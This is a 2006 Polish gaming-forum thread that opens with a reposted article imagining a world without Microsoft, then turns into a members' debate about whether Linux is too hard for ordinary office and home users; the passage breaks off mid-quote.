Wróć   America's Army PL > America's Army 2.8.x > Szukam Pomocy 2.8.x > Kącik Linuxa

Odpowiedz
 
Narzędzia wątku
Stare 04-05-2006, 11:16   #1
JiHAD^
General
 
Zarejestrowany: 10 Feb 2005
Miasto: Mushroom Kingdom
Wiadomości: 772
Wyślij wiadomość przez AIM do JiHAD^
Domyślnie Świat bez M$

Ech można se pomarzyć...
Cytat:
To nie koniec świata

Po pierwsze, oczywiste jest, że świat by się nie zawalił w takiej sytuacji. Zgoda, jest mnóstwo oprogramowania, zarówno przeznaczenia domowego, firmowego, jak i dedykowanego, które zależy w 100% od obecności Windows w komputerze. Dookoła systemu operacyjnego Microsoft istnieje duży rynek, którego wspólną cechą jest "sprzedać dużo i zarobić jeszcze więcej". Taka monokultura.

Ale życie zawsze znajdzie sobie jakąś drogę. Coś by się na pewno musiało stać - rozważmy więc rzecz po kolei.

W różności siła?

Nie aż tak znowu dawno komputer domowy oznaczał głównie sprzęt 8-bitowy, a z czasem 16-bitowy. Mam na myśli takie tradycyjne "konsole" jak Atari, ZX Spectrum, Commodore (w tym Amiga), itp. Twórcy oprogramowania wypuszczając przykładowo nową grę przygotowywali kilka wersji na różne platformy sprzętowe. I można było! Zresztą nadal tak jest - wystarczy popatrzeć na nowe konsole takie jak PlayStation, GameCube, DreamCast i inne - często zdarza się, że gry są jak najbardziej dostępne na różne platformy. Oczywiście, nie zawsze i nie na wszystkie, ale jednak.

Tradycyjny model tworzenia i rozwoju oprogramowania (z czasów przed Microsoftem) był taki, że punktem wyjścia był sprzęt, do którego twórcy tegoż sprzętu dodawali system operacyjny i sprzedawali aplikacje. Typowymi przykładami mogą być chociażby IBM czy Sun - ze swoimi mainframe'ami i serwerami. Hermetyczny światek, pozwalający odpowiednio zarobić na każdym elemencie. Jedynymi punktami wspólnymi były standardy oprogramowania (np. POSIX), czy protokoły komunikacyjne. Monokultura? Pewnie tak, tylko wielokrotna.

W rzeczywistości najbardziej popularną aktualnie platformą sprzętową są komputery klasy PC. Można by powiedzieć, że jest to platforma Microsoft, na którą rzeczona firma tworzy oprogramowanie (Windows, Office i inne). Platforma Microsoft? A na którym pudełku od części komputera PC nie ma logo "Designed for Microsoft Windows"? Chyba tylko na tych od mniej znanych producentów... Wszystko jak widać zależy od odpowiedniego podejścia do klientów (generowanie popytu) i producentów sprzętu (umowy handlowe, certyfikacja). Trzeba sobie w końcu wygospodarowac niszę ekologiczną, czyli stworzyć monokulturę. W koncu tylko tak można zagwarantować sobie największe zyski.

A może by tak Linux? (albo i nie?)

Ciekawą natomiast obserwacją jest zauważenie, na jaką platformę sprzętową powstawał Linux. Jądro to działało początkowo na procesorach i386, a że dziś można go spotkać prawie wszędzie, to efekt prac wielu osób z całego świata (zarówno pasjonatów, jak i programistów z różnych firm). Nie zmienia to faktu, że Linux w połączeniu z oprogramowaniem GNU oraz pozostałymi elementami FLOSS (czyli obiegowo po prostu "Linux") najlepiej sprawuje się na 32-bitowej platformie x86. To znaczy - jest tu największa dostępność działającego oprogramowania. Czyli w pewnym sensie Linux wkracza na ustalone, monokulturowe terytorium od ponad dekady należące do Microsoftu.

Jednak to nie wszystko, bo przecież na Linuksie też się świat nie kończy. Istnieją przeróżne systemy zgodne ze standardami Unix, POSIX, czy też inne żyjące własnym życiem, ktore dają się uruchomić na platformie x86. Jednak nie są aż tak popularne - poza nielicznymi wyjątkami, jak Solaris, różne odmiany i pochodne BSD, czy Mac OS (choć ten akurat na "zwykłym" PC na razie oficjalnie nie działa).

Zabawa we wróżkę

O ile przedwczesne jest więc stawianie krzyżyka na firmie posiadającej wielomiliardowe zapasy dolarów na koncie, to przecież można zastanowić się co by się stało, gdyby Microsoftu zabrakło.

Możliwość 1 - wymiana

Najbardziej oczywisty scenariusz to wymiana systemu operacyjnego. Bo przecież jaki byłby sens utrzymywać komputery z wadliwie działającym systemem (czyli wszelkie odmiany Windows), który dodatkowo nie miałby przed sobą szans na dalszy rozwój?

Najbardziej ucierpieliby chyba na tym użytkownicy domowi a zaraz potem firmowi, których Microsoft zawiódłby po raz kolejny - ale tym razem, o ironio, ostateczny. Wszyscy mniej znający się "na komputerach", czyli gracze, użytkownicy programów multimedialnych (głównie dzieci), panie sekretarki i przysłowiowe ciocie i babcie - musieliby wybrać jedną z trzech dróg. Albo wymienić system operacyjny na inny podobnie przyjazny (np. Mac OS) i pozostać w błogiej nieświadomości, dokształcić się i wybrać jeden z wariantów Linuksa (chociaż i tu są dystrybucje naprawdę przyjazne, żeby nie rzec "bezmózgowe"), albo też w końcu dać sobie spokój z tymi komputerami i pozbyć się huczącego pudła raz na zawsze.

Możliwość 2 - wsparcie

Chociaż przyznać trzeba, że przy ilości zainstalowanych na świecie kopii Windows aż tak źle chyba by nie było. Wsparcie ze strony jednej choćby firmy spowodowałoby gwałtowne przerzucenie na nią odpowiedzialności i żądań użytkowników. Zakładając nawet inkasowanie 10 dolarów od każdego incydentu, potencjalnie byłyby to bardzo konkretne miliony dolarów rocznie, za samo wsparcie udzielane użytkownikom pozostającym nadal przy Windows. W takim przypadku pojawiłoby się pewnie więcej firm parających się taką pomocą. Przez pewien czas mógłby to być nawet niezły interes!

Ale tylko do czasu, aż nie pojawiłby się inny, duży gracz na rynku systemów operacyjnych - bo przecież natura nie znosi pustki. Bo tam gdzie jest popyt, znajdzie się i podaż. W takim przypadku stawiałbym na Apple. W końcu widoczne są ostatnie ich ruchy, jak przejście na platformę Intel, czy wsparcie (m.in. finansowe) projektu Wine. W sumie taka możliwość - globalna wymiana Windows na Mac OS - byłaby bardzo interesująca.

Możliwość 3 - Microsoft 2.0

Jednak prawie na 100% upadającą firmę wykupiłby ktoś inny. Byłoby fajnie, gdyby poszły za tym zmiana nazwy, np. na Microsoft 2.0 (analogia do Web 2.0 jak najbardziej zamierzona), zmiana jakości produktu oraz przede wszystkim zmiana mentalności. Taki Micosoft, który słucha swoich klientów, szybko poprawia błędy, konkuruje na równych zasadach z innymi firmami i trzyma się otwartych, ustalonych standardów. "Żyj i daj żyć innym" - to by było dopiero motto Microsoft 2.0! Ale chyba zbyt piękne, żeby było prawdziwe...

A tak naprawdę...

Trudno powiedzieć, co by się naprawdę działo bez Microsoftu. Na pewno świat informatyczny przeżyłby jakiś kryzys, może recesję, może oczyszczenie - greckie catharsis nieledwie. Może nastąpiłby powrót do korzeni, a może totalna klapa i upadek cywilizacji. A może po prostu życie toczyłoby się dalej? Na pewno jednak twórcy programów musieliby zrewidować swoje podejście do wykonywanej pracy. Na jednym Visual Studio, MSDN i DirectX w końcu świat się nie kończy.

Jak na razie pozytywnymi osiągnięciami Microsoftu są (patrząc przymrużonym okiem): czcionka Tahoma, wpływ na rozwój rynku urządzeń USB i upowszechnienie komputerów dzięki pozornie postrzeganej prostocie ich obsługi. Największym jednak zarzutem jest przyzwyczajenie nas do tego, że komputer i oprogramowanie można (trzeba?) traktować nieledwie jak jogurt, kupowany masowo w pudełeczkach w sklepie. Nie smakowało? Wyrzuć i kup następny. Ważne jest tylko jak produkt się promuje i ile dochodu z tego wynika. Akcjonaruszy Microsoft przecież komputery mogą równie dobrze obchodzić, co fabryka jogurtu. Nieistotne jak, ważne ile się z tego wyciągnie.

Nie należy jednak zapominać, że dziś fascynujemy się spekulacjami na tematy Microsoftowe, a taki IBM, Big Blue, był przecież "tym złym" jeszcze kilkadziesiąt lat temu. Historia lubi się powtarzać i w branży informatycznej ta reguła także się sprawdza. Jednym słusznym wyjściem jakie widzę, to podniesienie świadomości użytkowników komputerów. Takie "komputerowe prawo jazdy" na przykład... Ale to akurat chyba się nie uda - kwestia skali i powszechności wszelakiej maści komputerów.

Jak zawsze, będą tacy, którzy się z tym zgodzą jak również tacy, którzy zaprzeczą. Ale jedno jest pewne: bez Microsoftu świat na pewno byłby inny. Miejmy nadzieję, że lepszy.

I tym pozytywnym akcentem kończę...
Źródło: linuxnews.pl
__________________
-> Goomba.pl społeczność graczy Nintendo Wii U, 3DS i retro.
JiHAD^ jest offline   Odpowiedz z Cytatem

  #ADS
Reklama
Circuit advertisement
 
 
 
Zarejestrowany: Always
Miasto: Advertising world
Wiek: 2010
Wiadomości: Many
 

Port Lotniczy Lublin

Reklama is online  
Stare 04-05-2006, 16:13   #2
BrYK
Moderator
General
 
Zarejestrowany: 25 Jan 2004
Miasto: Łobez
Wiadomości: 7011
Wyślij wiadomość przez AIM do BrYK Wyślij wiadomość przez Yahoo do BrYK
Domyślnie

Tekst osoby monotematycznej.

Gdyby nie Windows i prostota jego obslugi rozwoj komputerow bylby tak wolny jak demokracji na Kubie. Obecnie mozna juz znalezc przyjazniejsze dystrybucje linuksa (na ktorych jednak wiele rzeczy po prostu nie dziala lub dziala zle) jednak 8-9 lat temu ich nie bylo.
Szybki wzrost sprzedazy spowodowany byl (m.in) wprowadzeniem windowsa (3.11 to duzy krok do przodu) i zwolnienie ludzi z koniecznosci uzywania DOSu (i to nie tylko MS lecz rowniez DR) lub nakladek na ten system. To wlasnie wzrost sprzedazy spowodowal ogromny spadek cen - moj pierwszy komp AT 12MHz, 640K RAM uzywany kosztowal majatek. Do pozniejszego 486DX2 dokupilem 4MB ramu (mialem po tym 8MB i bylem gosc) w cenie 1 000 000 (starych) zlotych za 1MB. Byly to czasy gdy 3.11 juz istnial, 95 dopiero powstawal.

Linuks nie ma szansy na popularnosc - jego obsluga jest zbyt skomplikowana dla znacznej wiekszosci ludzi, ktorzy pracyja z komputerem. Dla tych ludzi nawet windows jest skomplikowany, a Word'a uzywaja jak maszyny do pisania (doslownie).
__________________
BrYK jest offline   Odpowiedz z Cytatem
Stare 04-05-2006, 23:18   #3
koshi
Brigadier General
 
Zarejestrowany: 19 Dec 2005
Wiadomości: 497
Wyślij wiadomość przez ICQ do koshi Wyślij wiadomość przez AIM do koshi
Domyślnie

a nie wiem co w LINUXIE jest takiego trudnego To, że trzeba znać komendy do Terminala Przynajmniej wiesz ze jak udostępniasz komuś kompa to nic ci w nim nie namąci bezmyślnym klikaniem na prawo i lewo. A i znajomość komend to już cos - przynajmniej wiesz co umiesz.
No chyba ze ktoś nie potrafi wydzielić sobie miejsca pod linucha to juz nie wiem...

I przynajmniej odpornijeszy jest na wirusy niz zwykłe Windowsowe oprogramowanie kręcone niewiadomo jakimi Service Packami nie równa sie do LINucha.
koshi jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 00:28   #4
Catra
Moderator
General
 
Zarejestrowany: 06 Feb 2003
Miasto: Łódź
Wiadomości: 4757
Wyślij wiadomość przez ICQ do Catra Wyślij wiadomość przez AIM do Catra
Domyślnie

Łatwy jest dla ciebie. Istnieja rzesze ludzi , tak jak mowi Bryk , ktorzy nigdy Linucha nie pojma
__________________


http://lodz.myminicity.com/ klik click
Catra jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 00:58   #5
-pavel+
General
 
Zarejestrowany: 19 Mar 2004
Wiadomości: 1623
Wyślij wiadomość przez AIM do -pavel+
Domyślnie

niektorym wiecej do szczescia niz winblows, nie jest potrzebne.
__________________

-pavel+ jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 06:02   #6
BrYK
Moderator
General
 
Zarejestrowany: 25 Jan 2004
Miasto: Łobez
Wiadomości: 7011
Wyślij wiadomość przez AIM do BrYK Wyślij wiadomość przez Yahoo do BrYK
Domyślnie

Cytat:
Napisał koshi
I przynajmniej odpornijeszy jest na wirusy niz zwykłe Windowsowe oprogramowanie kręcone niewiadomo jakimi Service Packami nie równa sie do LINucha.
Bzdura.

Poczytaj raporty producetow oprogramowania antywirusowego (ostatnio chyba Kasrersky cos ciekawego pisal). I przestan powtazac ciagle te same bzdury, ktore juz dawno stracily aktualnosc.

Cytat:
Napisał koshi
No chyba ze ktoś nie potrafi wydzielić sobie miejsca pod linucha to juz nie wiem...
Pierwsz kontakt z linuksem mialem jeszcze w latach 90-tych - w liceum bawilem sie linuksem, Novelem (8 lat temu) - wiec wiem jak przebiegala ewolucja tego systemu i jak wygladala jego przyjaznosc dla usera. Ty chyba nie.


Zdecydowana wiekszosc osob korzystajacych z komputera nie ma pojecia o nich. U mnie w pracy, gdzie praktycznie kazdy siedzi przy kompie, bardzo ladnie to widac.
__________________
BrYK jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 09:43   #7
JiHAD^
General
 
Zarejestrowany: 10 Feb 2005
Miasto: Mushroom Kingdom
Wiadomości: 772
Wyślij wiadomość przez AIM do JiHAD^
Domyślnie

BrYK przesadzasz z ta trudnoscia Linuksa, np: Slack wszystko bardzo przejrzyste, ładnie opisane, sa tez dystrybucje klikane dla ludzi sprytynych inaczej.
Cytat:
Napisał [=PSF=
Pavel^]niektorym wiecej do szczescia niz winblows, nie jest potrzebne.
Taa tylko po co płacić za Windowsa (bo skutecznosc organów scigania rośnie) jak mozna zainstalować se darmowa dystrybucje. Gdyby wiecej ludzi używało Linuksa producenci gier sami by zlikwidowali najwiekszy jak dla mnie problem w uzywaniu Linuksa - brak gier. Bo Cedega/Wine nie jest rozwiazaniem, przynajmniej w takim stanie jak to wyglada teraz.
__________________
-> Goomba.pl społeczność graczy Nintendo Wii U, 3DS i retro.
JiHAD^ jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 09:55   #8
Piter
General
 
Zarejestrowany: 03 Aug 2004
Wiadomości: 1224
Domyślnie

W nawiązaniu: http://wiadomosci.onet.pl/1302034,11,item.html

Rozstrzygnijmy dwie kwestie: linux w firmie i linux w domu. Pierwsza sprawa dla mnie jest jasna - każda firma ma jakiegoś administratora. Można spokojnie tak skonfigurować środowisko, żeby przysłowiowa "pani Jadzia" w miarę komfortowa mogła się poruszać po potrzebnych jej aplikacjach.

Cytat:
Napisał BrYK
Zdecydowana wiekszosc osob korzystajacych z komputera nie ma pojecia o nich. U mnie w pracy, gdzie praktycznie kazdy siedzi przy kompie, bardzo ladnie to widac.
J.w. W firmie masz administratorów - to od nich wiele zależy. Przecież nikt nikogo nie zmusza do korzystania z Emacs czy vi. Mamy dostępne w linuksie tak samo ergonomiczne aplikacje, jak pod Windows. Problem dla domowego użytkownika jest taki, że sam sobie musi to wszystko poukładać, przyzwyczaić się do pewnych kwestii, no i oczywiście z grami jest problem. W biurze natomiast wszystko zależy od dostępności specjalistycznego oprogramowania, a z tym jest niewesoło. Wynika to także z polityki państwa (patrz link z Onetu powyżej).
__________________
Piter jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 12:37   #9
wyclef+brzoza
General
 
Zarejestrowany: 08 Sep 2003
Wiadomości: 4167
Domyślnie

Co tu dużo gadać. Linuks nie jest dla zwykłych userów np. takich, którzy nie wiedzą co to partycja
wyclef+brzoza jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 14:16   #10
koshi
Brigadier General
 
Zarejestrowany: 19 Dec 2005
Wiadomości: 497
Wyślij wiadomość przez ICQ do koshi Wyślij wiadomość przez AIM do koshi
Domyślnie

Cytat:
Pierwsz kontakt z linuksem mialem jeszcze w latach 90-tych - w liceum bawilem sie linuksem, Novelem (8 lat temu) - wiec wiem jak przebiegala ewolucja tego systemu i jak wygladala jego przyjaznosc dla usera. Ty chyba nie.
Ja za to wiem jak jest teraz a to co było 8 lat temu to nie interesuje się tym. Bo zyję w czasach obecnych a nie 8 lat temu. Zresztą jest cos takiego jak GOOGLE to można poszukać sobie rzeczy jakich sie chce a raczej jakich potrzebuje.

Cytat:
Zdecydowana wiekszosc osob korzystajacych z komputera nie ma pojecia o nich. U mnie w pracy, gdzie praktycznie kazdy siedzi przy kompie, bardzo ladnie to widac.
Jaki kraj taki obyczaj.

Cytat:
Co tu dużo gadać. Linuks nie jest dla zwykłych userów np. takich, którzy nie wiedzą co to partycja
Nie ma czegos takiego, czego nie da sie pojąć ( nawet przysłowiowego uzycia granatnika na BC trzeba sie nauczyć aby za 1 razem duzo skosić) . Jak by sie pracownikom chciało przysiąść nad jakąś ciekawą lekturą Heliona o Linuxach to nie było by problemów z obsłużeniem się komputerem co ma OS inny niz Windows.
koshi jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 14:19   #11
wyclef+brzoza
General
 
Zarejestrowany: 08 Sep 2003
Wiadomości: 4167
Domyślnie

wyclef+brzoza jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 15:23   #12
krzylew
Second Lieutenant
 
Zarejestrowany: 14 Aug 2004
Miasto: Warszawa
Wiadomości: 162
Wyślij wiadomość przez AIM do krzylew Wyślij wiadomość przez MSN do krzylew wyślij wiadomość poprzez Skype do
Domyślnie

święta racja. jakoś ja (a chodzę do pierwszej gizmnazjum) nauczyłem się obsługiwać linucha w mniej więcej rok. a wszystkiego musaiłem sam się dowiedzieć bo mój tata nie ma linucha (googlałem i tyle). a jak potrzebuję sobie pograć to odpalam VMWare i mam wszystko w D.
__________________

krzylew jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 15:35   #13
BrYK
Moderator
General
 
Zarejestrowany: 25 Jan 2004
Miasto: Łobez
Wiadomości: 7011
Wyślij wiadomość przez AIM do BrYK Wyślij wiadomość przez Yahoo do BrYK
Domyślnie

@koshi

nie rob z siebie glupka. W biurze, firmie pracownik ma pracowac a nie siedziec na googlach i szukac odpowiedzi. Chcialbys aby urzednik w czasie twojej wizyty mial czas dla ciebie czy szukal informacji jak zrobic jedna lub druga rzecz na wlasnym kompie?
Jak widac nie pamietasz czasow dos'u. A szkoda. Dla mnie dos byl banalnie prosty, dla wiekszosci byla to (doslownie) czarna magia.


To co bylo 8 lat temu wyraznie pokazuje czego oczekuja użytkownicy. Jak na razie wiekszosc firm woli zaplacic za windowsa (i miec pomoc techniczna, nawet w wersji ograniczonej) niz nie placic za linuksa i miec problemy. Dodatkowo energonomia pracy jest duzo wyzsza w windowsie (wiem to z wlasnego doswiadczenia albo idiot dystrybucja nie mialem do czynienia).


@Piter

administrator to tylko administratow. Nie nauczy on uzytkownikow korzystania ze skrotow klawiszowych, uzywania funkcji wstaw podzial strony w wordzie, poprawnego wylanczania komputera czy wciskania Insert jak word nadpisuje wpisany wczesniej tekst. Nie nauczy on tez zmiany ustawien drukarki i wlaczenia automatyczneog duplexu. Wprowadzenie windowsa XP prof (u mnie w firmie na wiekszosc sprzetu), ustalenie domen i zasad, przydzielenie uprawnien, wymagania zlozonosci hasel i podstawowych zasad bezpieczenstwa - zablokowalo niektore wydzialy na 1-2 dni. Bo pani Kasia i pani Jadzia nie umialy 10 znakowego hasla wpisac. O bardziej skomplikowanych rzeczach juz nie wspomne.



Od pewnego czasu mam coraz gorsze zdanie na temat znajomosci podstaw informatyki i komputerologii. Przychodzacy do mnie stazysta (po studiach, magister) nie wie do czego sluzy tabulator. Inny nie potrafi uzyc wyszukiwarki plikow i znajezc dokument tworzony okreslonego dnia (tez po studiach). O otwarciu pliku xml w notatniku i podnienieniu 2 wartosci juz nie wspomne. O uzywaniu excela do obliczen praktycznie nikt nie slyszal.
Moj o ponad 10 lat mlodszy siostrzeniec (uczen majacy 3 godziny informatyki w tygodniu, 4 na ostatni semestr) jest analfabeta komputerowym.



Teraz posadzcie takich ludzi przy komputerze z linuksem. Powodzenia.
__________________
BrYK jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 16:41   #14
wyclef+brzoza
General
 
Zarejestrowany: 08 Sep 2003
Wiadomości: 4167
Domyślnie

Bryk co Ty oczywiste rzeczy tłumaczysz?

@Gandalf - gratuluje że w rok nauczyłeś się linuksa. Czyli na rok zamykamy wszystki urzędy i uczymy ludzie obłsugi linuksa
wyclef+brzoza jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 17:27   #15
koshi
Brigadier General
 
Zarejestrowany: 19 Dec 2005
Wiadomości: 497
Wyślij wiadomość przez ICQ do koshi Wyślij wiadomość przez AIM do koshi
Domyślnie

Cytat:
nie rob z siebie glupka. W biurze, firmie pracownik ma pracowac a nie siedziec na googlach i szukac odpowiedzi. Chcialbys aby urzednik w czasie twojej wizyty mial czas dla ciebie czy szukal informacji jak zrobic jedna lub druga rzecz na wlasnym kompie?
NIe wiem w jakim biurze tak sie robi, z tego co mi wiadomo to niektózy nawet sobie z tych nudów pasjanse układają wiec rzeczywiscie roboty maja od cholery no nic nie robic tylko grac.

Cytat:
Od pewnego czasu mam coraz gorsze zdanie na temat znajomosci podstaw informatyki i komputerologii.
Moj o ponad 10 lat mlodszy siostrzeniec (uczen majacy 3 godziny informatyki w tygodniu, 4 na ostatni semestr) jest analfabeta komputerowym.
Ta a ja w tym roku mam 0 godzin informy i dziwnym trafem okminiłem Linuxa. Linuxa miałem mieć w szkole podstawowej ale sie biedna informatyczka speszyła jak usłyszała ta nazwę, więc sie niedziwię, że ktos tam jest analfabetą komputerowym skoro mamy tak doświadczone osoby, które na słowo linux dostają apatii a nawet dobrze windy obsłużyć niepotrafią.

A oto piękny stopień a w zasadzie przepaść co niektórych informatyków : "Jedyne co mnie rozbawilo setnie, to gdy sie dowiedzialem ze iso-8859-2 to przestarzaly standard kodowania i nalezy uzywac win 1250". Widać kadra albo niedoszktałcona jakaś albo za stara na owe czasy.

I w zasadzie to nauczyciel powienien uczyć ucznia a nie odwrotnie jak sie ma do niektórych znanych mi przypadków.
koshi jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 18:20   #16
Catra
Moderator
General
 
Zarejestrowany: 06 Feb 2003
Miasto: Łódź
Wiadomości: 4757
Wyślij wiadomość przez ICQ do Catra Wyślij wiadomość przez AIM do Catra
Domyślnie

Cytat:
Napisał koshi
Cytat:
nie rob z siebie glupka. W biurze, firmie pracownik ma pracowac a nie siedziec na googlach i szukac odpowiedzi. Chcialbys aby urzednik w czasie twojej wizyty mial czas dla ciebie czy szukal informacji jak zrobic jedna lub druga rzecz na wlasnym kompie?
NIe wiem w jakim biurze tak sie robi, z tego co mi wiadomo to niektózy nawet sobie z tych nudów pasjanse układają wiec rzeczywiscie roboty maja od cholery no nic nie robic tylko grac.
Pracujesz w urzedzie czy chodzisz do szkoły , ze takie "cos" piszesz Wez ty lepiej sie doinformuj lepiej

I zrozum , ze to co dla ciebie jest banalne to nie znaczy , ze jest banalne dla innych , na Ziemi jest prawie 5 mld ludzi i tyt wymagasz , zeby kazdy z nihc był inteligentem w dziedzinie infy i linuxa.

A windows ano wkładasz plytke , instalator cie prowadzi za raczke i gotowe, mozesz rozpoczac prace nad swoim projektem/praca domowa/apliakcja itp itd. Typowy system dla mośków.

Nie twierdze ,ze linux nie jest do ogarniecia, bo zapewne jest , ale nie dla wszystkich. A tu chodzi włąsnie o tych wszystkich.
__________________


http://lodz.myminicity.com/ klik click
Catra jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 19:07   #17
BrYK
Moderator
General
 
Zarejestrowany: 25 Jan 2004
Miasto: Łobez
Wiadomości: 7011
Wyślij wiadomość przez AIM do BrYK Wyślij wiadomość przez Yahoo do BrYK
Domyślnie

Cytat:
Napisał koshi
Cytat:
nie rob z siebie glupka. W biurze, firmie pracownik ma pracowac a nie siedziec na googlach i szukac odpowiedzi. Chcialbys aby urzednik w czasie twojej wizyty mial czas dla ciebie czy szukal informacji jak zrobic jedna lub druga rzecz na wlasnym kompie?
NIe wiem w jakim biurze tak sie robi, z tego co mi wiadomo to niektózy nawet sobie z tych nudów pasjanse układają wiec rzeczywiscie roboty maja od cholery no nic nie robic tylko grac.
A byles w urzedzie i widziales? Czy tylko slyszales, ze ktos widzial? Czy uslszales na wlasne uszy jak urzednik powiedzial ci, ze nie ma czasu bo gra w pasjansa?
Czlowieku bzdury gadasz. U mnie w urzedzie nawet pasjansa na kompie nie ma wiec gwarantuje ci, ze nikt w niego nie gra.


Cytat:
Napisał koshi
Cytat:
Od pewnego czasu mam coraz gorsze zdanie na temat znajomosci podstaw informatyki i komputerologii.
Moj o ponad 10 lat mlodszy siostrzeniec (uczen majacy 3 godziny informatyki w tygodniu, 4 na ostatni semestr) jest analfabeta komputerowym.
Ta a ja w tym roku mam 0 godzin informy i dziwnym trafem okminiłem Linuxa. Linuxa miałem mieć w szkole podstawowej ale sie biedna informatyczka speszyła jak usłyszała ta nazwę, więc sie niedziwię, że ktos tam jest analfabetą komputerowym skoro mamy tak doświadczone osoby, które na słowo linux dostają apatii a nawet dobrze windy obsłużyć niepotrafią.

A oto piękny stopień a w zasadzie przepaść co niektórych informatyków : "Jedyne co mnie rozbawilo setnie, to gdy sie dowiedzialem ze iso-8859-2 to przestarzaly standard kodowania i nalezy uzywac win 1250". Widać kadra albo niedoszktałcona jakaś albo za stara na owe czasy.

I w zasadzie to nauczyciel powienien uczyć ucznia a nie odwrotnie jak sie ma do niektórych znanych mi przypadków.

Jak widac ciezko ci pojac kilka rzeczy.
Ty znasz linuksa, inna osoba zna sie na wydawaniu pozwolen wodno-prawnych (a ty nawet nie wiesz co to jest). Inny wydaje zaswiadczenia o wpisie do ewidencji szkol i placowek niepublicznych prowadzonych przez staroste (jak ja) - tez nie wiesz co to jest, ja jednak wiem co to linuks, bawilem sie nim gdy ty na bulke mowiles "ptapta" a na wronę "gaga". I co? I nic. Tez pewnie bys sie tego potrafil nauczyc, tylko po co?
Rozumiesz juz? Czy jeszcze raz, bardziej lopatologicznie wytlumaczyc?
__________________
BrYK jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 19:45   #18
Remek
General
 
Zarejestrowany: 17 Jun 2003
Wiadomości: 1503
Wyślij wiadomość przez AIM do Remek
Domyślnie

JHSL widzisz i nie grzmisz

M: Linux
D: Linuksa
C: Linuksowi
B: Linuksa
N: Linuksem
Msc: Linuksie
W: Linuksie!

A co do tekstu, po przeczytaniu tego fragmentu zaniechalem dalszej lektury
Cytat:
Zresztą nadal tak jest - wystarczy popatrzeć na nowe konsole takie jak PlayStation, GameCube, DreamCast i inne - często zdarza się, że gry są jak najbardziej dostępne na różne platformy. Oczywiście, nie zawsze i nie na wszystkie, ale jednak.
Remek jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 20:07   #19
koshi
Brigadier General
 
Zarejestrowany: 19 Dec 2005
Wiadomości: 497
Wyślij wiadomość przez ICQ do koshi Wyślij wiadomość przez AIM do koshi
Domyślnie

Cytat:
A byles w urzedzie i widziales?
A no byłem w urzedzie i widziałem na własne oczy. I nie tylko w urzędzie widziałem takie coś więc prosze nie mów mi, że nikt tak nie robi skoro robi- Ja nie powiedziałem ze wszsycy tak robią, ale swoje widziałem.

Cytat:
Ty znasz linuksa, inna osoba zna sie na wydawaniu pozwolen wodno-prawnych (a ty nawet nie wiesz co to jest).
A skąd wiesz, że nie :wink:

Pozwolenie wodno-prawne jest jednocześnie pozwoleniem na wykonanie urządzeń wodnych. Pozwolenie to wydaje się w drodze decyzji, na czas określony;

*

nie krótszy niż 10 lat (w większości przypadków)
*

nie dłuższy niż 4 lata, gdy dotyczy wprowadzania do wód, ziemi lub do urządzeń kanalizacyjnych ścieków zawierających substancje niebezpieczne
*

nie dłuższy niż 5 lat, gdy dotyczy wycinania roślin oraz wydobywania kamienia, żwiru, piasku oraz innych materiałów z wód lub z obszarów bezpośredniego zagrożenia powodzią


A jak chodzi o te szkoły to mniej wiecej to jest: zaswiadczenie ze szkola jest w spisie szkol w starostwie.

Cytat:
Tez pewnie bys sie tego potrafil nauczyc, tylko po co?
Po to żeby wiedzieć dla siebie np.

Cytat:
Rozumiesz juz?
No i co ze rozumiem


EDIT ----------------------------------------------------------------

Cytat:
bawilem sie nim gdy ty na bulke mowiles "ptapta" a na wronę "gaga"
A tego nie skomentuje bo takich pdoświadczeń w swoim życiu jeszcze nie przechodziłem
koshi jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 20:26   #20
BrYK
Moderator
General
 
Zarejestrowany: 25 Jan 2004
Miasto: Łobez
Wiadomości: 7011
Wyślij wiadomość przez AIM do BrYK Wyślij wiadomość przez Yahoo do BrYK
Domyślnie



Dam jutro w pracy kolezance do przeczytania definicje Linuksa i powiem, ze jak ja przeczyta to bedzie go znac (vide pozwolenia).
Co do ewidencji - jest to troche bardziej skomplikowane nie przedstawiles ale po co przeciagac.


Postaraj sie zrozumiec, ze nie kazdy musi chciec uczyc sie nowego systemu. I nie kazdy tego potrzebuje do szczescia.


--------------------
Edit

A na powaznie - przepraszam za swoje zachowanie i uzywanie nieprzystajacego do funkcji slownictwa.
__________________
BrYK jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 20:27   #21
Catra
Moderator
General
 
Zarejestrowany: 06 Feb 2003
Miasto: Łódź
Wiadomości: 4757
Wyślij wiadomość przez ICQ do Catra Wyślij wiadomość przez AIM do Catra
Domyślnie

OMG Koshi ale ty nadal nie rozumiesz o co w tym wszystkim biega. To , ze ty masz zaciecie do poznawania nowych rzeczy / doświadczen to nie znaczy , ze cały swiat to twoje kserokopie. Istnieja rózni ludzi i to własnie przez to brak windowsa spowodował by katastrofe.
__________________


http://lodz.myminicity.com/ klik click
Catra jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 20:58   #22
Kaos
General
 
Zarejestrowany: 17 Jan 2005
Wiadomości: 1227
Domyślnie

Windows też jest darmowy ^^

http://www.microsoft.com/poland/trial/default.mspx

Windows 2003 Enter. trial 180dni..

Jak dla mnie, ograniczenie 180 dni nie stanowi problemu gdyż system przeinstalowywuje średnio co miesiąc
'Darmowa' wersja 2003 po odpowiedniej konfiguracji nabiera wyglądu i działania popularnego XPka.. :wink:

ps: z torrenta można było sciągnąć legalną 2003pl trial
__________________
Kaos jest offline   Odpowiedz z Cytatem
Stare 04-06-2006, 21:32   #23
Piter
General
 
Zarejestrowany: 03 Aug 2004
Wiadomości: 1224
Domyślnie

Cytat:
Napisał BrYK
